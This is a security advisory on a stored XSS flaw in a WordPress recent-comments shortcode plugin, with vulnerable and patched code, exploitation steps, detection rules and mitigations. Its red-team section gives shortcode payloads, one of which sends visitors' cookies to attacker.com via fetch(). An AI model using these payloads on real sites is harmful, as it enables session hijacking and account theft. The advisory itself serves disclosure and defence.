CVE-2025-7649

Executive Summary

CVE-2025-7649 is a Stored Cross-Site Scripting (XSS) vulnerability in the Surbma | Recent Comments Shortcode WordPress plugin, affecting all versions up to and including 2.0. The flaw resides in the recent-comments shortcode, where user-supplied attributes are not properly sanitized or escaped. Authenticated attackers with contributor-level access or higher can inject arbitrary web scripts into pages. When a victim (including administrators) visits the compromised page, the injected script executes in their browser, potentially leading to session hijacking, credential theft, or further site compromise.

This vulnerability is part of the WordPress ecosystem and does not involve Apache or Nginx directly. The plugin is used to display recent comments via a shortcode, making it a common target for privilege escalation attacks.

CVSS Breakdown & Threat Level

• CVSS Score: 6.4 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: Low (Contributor-level)
• User Interaction: None
• Scope: Changed (impact on other components)
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: None

Threat Level: Medium. While the CVSS score is moderate, the ability for authenticated users to inject persistent scripts that execute for any visitor (including admins) makes this a significant risk for WordPress sites with multiple authors.

Deep Dive & Mechanics

The vulnerability is triggered via the [recent-comments] shortcode. The plugin fails to sanitize user-supplied attributes (e.g., number, post_type, status, etc.) before rendering them in the HTML output. An attacker with contributor-level access can create or edit a post containing the shortcode with malicious attributes.

Example vulnerable shortcode usage:

[recent-comments number="10" post_type="post" status="approve" class="<script>alert('XSS')</script>"]

The plugin directly outputs the class attribute without escaping, allowing the attacker to inject arbitrary JavaScript. When the page is loaded, the script executes in the context of the victim's browser.

Root Cause: Insufficient input sanitization and output escaping on user-supplied attributes in the shortcode handler.

Vulnerable vs. Patched Code

Vulnerable Code (version 2.0):

// In surbma-recent-comments-shortcode.php
function surbma_recent_comments_shortcode( $atts ) {
    $atts = shortcode_atts( array(
        'number' => 5,
        'post_type' => 'post',
        'status' => 'approve',
        'class' => ''
    ), $atts );

    // Direct output without escaping
    $output = '<div class="recent-comments ' . $atts['class'] . '">';
    // ... rest of the code
    return $output;
}

Patched Code (hypothetical fix):

function surbma_recent_comments_shortcode( $atts ) {
    $atts = shortcode_atts( array(
        'number' => 5,
        'post_type' => 'post',
        'status' => 'approve',
        'class' => ''
    ), $atts );

    // Properly escape the class attribute
    $output = '<div class="recent-comments ' . esc_attr( $atts['class'] ) . '">';
    // ... rest of the code
    return $output;
}

The fix uses esc_attr() to escape the class attribute, preventing XSS. As of now, no official patch has been released.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• WordPress site with Surbma | Recent Comments Shortcode plugin <= 2.0
• Authenticated user with Contributor role or higher

Steps:

1. Log in as a Contributor.
2. Create a new post or edit an existing one.
3. Insert the shortcode with a malicious class attribute:

   [recent-comments class="\" onmouseover=\"alert(document.cookie)\""]
   

4. Publish the post.
5. When any user (including admins) hovers over the recent comments section, the script executes.

Alternative payload (stealing cookies):

[recent-comments class="\" onload=\"fetch('https://attacker.com/steal?cookie='+document.cookie)\""]

Blue Team (Detection & Hardening)

Detection:

• Monitor for posts containing the [recent-comments] shortcode with unusual attributes.
• Look for class attributes containing JavaScript event handlers (e.g., onmouseover, onload, onclick).

Hardening:

• Disable the plugin until a patch is available.
• Restrict contributor-level users from using shortcodes via user role plugins.
• Implement a Web Application Firewall (WAF) rule to block XSS payloads in shortcode attributes.

Indicators of Compromise (IOCs)

• File: wp-content/plugins/surbma-recent-comments-shortcode/surbma-recent-comments-shortcode.php (version <= 2.0)
• Shortcode pattern: [recent-comments class="..."] where class contains JavaScript event handlers or script tags.
• HTTP request: POST to /wp-admin/post.php with post_content containing malicious shortcode.
• Log entry: Suspicious class attribute in shortcode usage in WordPress debug logs.

Detection Engineering

YARA Rule

rule CVE_2025_7649_WordPress_Plugin_XSS {
    meta:
        description = "Detects malicious shortcode attributes in Surbma Recent Comments Shortcode plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-7649"
    strings:
        $shortcode = /\[recent-comments[^\]]*class\s*=\s*["'][^"']*<script[^>]*>/
        $event_handler = /\[recent-comments[^\]]*class\s*=\s*["'][^"']*on\w+\s*=\s*["'][^"']*["']/
    condition:
        any of them
}

Sigma Rule

title: CVE-2025-7649 - Stored XSS via Surbma Recent Comments Shortcode
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects attempts to exploit stored XSS in Surbma Recent Comments Shortcode plugin
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: wordpress
detection:
    selection:
        http.method: POST
        http.url: '/wp-admin/post.php'
        http.body|contains: '[recent-comments'
        http.body|contains: 'class='
        http.body|contains|re: '(on\w+=|<script)'
    condition: selection
falsepositives:
    - Legitimate use of class attribute without XSS payloads
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-7649 - Stored XSS via Surbma Recent Comments Shortcode"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/post.php"; http_uri; content:"[recent-comments"; http_client_body; pcre:"/(on\w+=|<script)/i"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin until a patch is released.
2. Review all posts for malicious shortcode usage and remove them.
3. Change all passwords for users who may have been compromised.

Long-term Fix:

• Apply the vendor patch when available (currently UNKNOWN).
• Implement input validation and output escaping for all shortcode attributes.
• Use a security plugin (e.g., Wordfence) to block XSS attempts.

Workaround:

• Restrict shortcode usage to administrators only via current_user_can() checks.
• Add a custom filter to sanitize shortcode attributes:

  add_filter( 'shortcode_atts_recent-comments', function( $out, $pairs, $atts ) {
      if ( isset( $out['class'] ) ) {
          $out['class'] = sanitize_html_class( $out['class'] );
      }
      return $out;
  }, 10, 3 );
  

Valters IT
Securing Digital Frontiers